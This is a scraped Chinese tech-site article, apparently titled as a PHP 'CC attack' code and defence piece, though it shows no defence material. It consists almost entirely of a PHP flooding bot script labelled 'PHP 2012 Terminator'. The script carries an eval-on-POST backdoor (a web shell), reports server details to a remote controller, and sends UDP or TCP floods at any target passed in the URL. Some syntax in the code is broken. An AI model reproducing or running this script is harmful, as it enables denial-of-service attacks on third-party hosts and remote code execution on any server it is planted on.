php cc攻击代码与防范方法
前端之家收集整理的这篇文章主要介绍了
php cc攻击代码与防范方法,
前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
cc攻击代码,支持udp
<div class="codetitle"><a style="CURSOR: pointer" data="75001" class="copybut" id="copybut75001" onclick="doCopy('code75001')"> 代码如下:
<div class="codebody" id="code75001">
<?
PHP eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".
PHP_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "
PHP 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http",$rand,$errno,$errstr,5);
if($fp)
{
fwrite($fp,$out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http",$out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http",$out);
fclose($fp);
}
}
?>